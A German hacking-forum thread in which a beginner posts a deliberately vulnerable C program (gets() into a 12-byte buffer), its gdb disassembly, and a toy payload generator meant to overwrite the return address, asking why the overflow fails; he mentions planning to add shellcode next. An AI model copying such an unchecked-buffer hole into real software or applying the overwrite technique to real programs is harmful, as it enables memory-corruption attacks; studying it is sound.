Hackerboard Wiki HaboBlog
Hackerboard bei Facebook Hackerboard bei Google+ Hackerboard bei Twitter

[HaBo]

 
Code Kitchen Allgemeines Coder-Forum rund um das Programmieren eigenständiger, ausführbarer Programme.

Eigener "kleiner" Exploit geht nicht - welcher Fehler?

Diskussion: Eigener "kleiner" Exploit geht nicht - welcher Fehler? im Forum Code Kitchen, in der Kategorie Software Home; Anzeige Hallo. Ich wollte mir für ein C Programm einen "Exploit" ( naja soweit man das als Exploit bezeichnen kann ...

Antwort
Alt 28.02.04, 14:16   #1 (permalink)
 
Registriert seit: 11.12.03
Bleeding666 Leistung: Facit NTK
Likes: 0
Standard Eigener "kleiner" Exploit geht nicht - welcher Fehler?

Anzeige

Hallo.

Ich wollte mir für ein C Programm einen "Exploit" ( naja soweit man das als Exploit bezeichnen kann ) schreiben, der über einen Buffer Overflow die Rücksprungadresse im Stack ändert und so einen Teil des Programms überspringt.

Hier der Code:

das normale C Programm:

Code:
# include <stdio.h>
# include <string.h>



int main ()
{
	char buffer[12];

	gets (buffer);
	puts ("falsch");
	puts ("richtig");

}
das Assemblerdump:

Code:
(gdb) disass main
Dump of assembler code for function main:
0x0804836c <main+0>:    push   %ebp
0x0804836d <main+1>:    mov    %esp,%ebp
0x0804836f <main+3>:    sub    $0x18,%esp
0x08048372 <main+6>:    and    $0xfffffff0,%esp
0x08048375 <main+9>:    mov    $0x0,%eax
0x0804837a <main+14>:   sub    %eax,%esp
0x0804837c <main+16>:   sub    $0xc,%esp
0x0804837f <main+19>:   lea    0xffffffe8(%ebp),%eax
0x08048382 <main+22>:   push   %eax
0x08048383 <main+23>:   call   0x8048278
0x08048388 <main+28>:   add    $0x10,%esp
0x0804838b <main+31>:   sub    $0xc,%esp
0x0804838e <main+34>:   push   $0x80484c8
0x08048393 <main+39>:   call   0x8048288
0x08048398 <main+44>:   add    $0x10,%esp
0x0804839b <main+47>:   sub    $0xc,%esp
0x0804839e <main+50>:   push   $0x80484cf
0x080483a3 <main+55>:   call   0x8048288
0x080483a8 <main+60>:   add    $0x10,%esp
0x080483ab <main+63>:   leave
0x080483ac <main+64>:   ret
0x080483ad <main+65>:   nop
0x080483ae <main+66>:   nop
0x080483af <main+67>:   nop
End of assembler dump.
und der Exploit:

Code:
# include <stdio.h>
# include <string.h>



int main ()
{
	printf ("123456789abc");
	printf ("1234");
	printf (" %c%c%c%c", 0xa8, 0x83, 0x04, 0x08);
	fflush (stdout);
	return 0;

}

Was ich will:

Die Adresse im IP soll durch das Überladen des Buffers geändert werden, so das nach dem Einlesen des buffers das
puts ("falsch"); übersprungen wird und nur noch -richig- ausgegeben wird.

Zunächst wird der buffer der ja 12 Bytes groß ist mit 123456789abc überschrieben, dann wird mit 1234 der Stack Pointer überflutet ( 4 Byte groß - oder?? ) und dann die Adresse wo das Prog weitermachen soll in den IP geschrieben.

Code:
bleedingsoul@linux:~> ./expprog1.out | ./prog1.out
falsch
richtig
Wie man sehen kann wird aber dennoch falsch ausgegeben.
Wo liegt der Fehler?
Falsche Adresse?
Falsche Stackgrößen?
Oder bin ich ganz auf dem Holzweg und es funktioniert so überhaupt nicht?

Wie muss ich den Exploit schreiben, damit die Manipulation funktioniert?
Ich wäre sehr dankbar, wenn mir jemand auf helfen könnte. Als nächsten Schritt, wenn es funktioniert, habe ich vor den Buffer im Programm vergrößern um darin einen Shellcode unterbringen zu können, damit durch den Exploit auch eine Shell gestartet wird.

Danke im vorraus.

mfg
BleedingSoul
Bleeding666 ist offline   Mit Zitat antworten
Antwort
   
- Anzeige -

Werbung ist gerade online    

[HaBo] » Software Home » Code Kitchen » Eigener "kleiner" Exploit geht nicht - welcher Fehler?
Themen-Optionen
Ansicht

Forumregeln
Es ist Ihnen nicht erlaubt, neue Themen zu verfassen.
Es ist Ihnen nicht erlaubt, auf Beiträge zu antworten.
Es ist Ihnen nicht erlaubt, Anhänge hochzuladen.
Es ist Ihnen nicht erlaubt, Ihre Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks sind aus
Pingbacks sind aus
Refbacks sind aus


Ähnliche Themen
Thema Autor Forum Antworten Letzter Beitrag
Kleiner Fehler im Programm zum Filtern von Eintraegen[C++][geloest] sw33tlull4by Code Kitchen 4 14.04.09 12:31
Kleiner Fehler im DropDown Menü von "(Web-) Design und webbasierte Sprachen" pacman Hackerboard.de-Feedback 5 24.07.05 12:10
Welcher Provider ist gut und welcher nicht !? HighTower (In)security allgemein 13 28.03.05 18:36
Mein C - Exploit für einen Socket Server geht nicht Bleeding666 Code Kitchen 0 10.04.04 00:19
Kleiner Fehler in der Board-Software?! Rushjo Hackerboard.de-Feedback 5 26.01.02 01:28


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61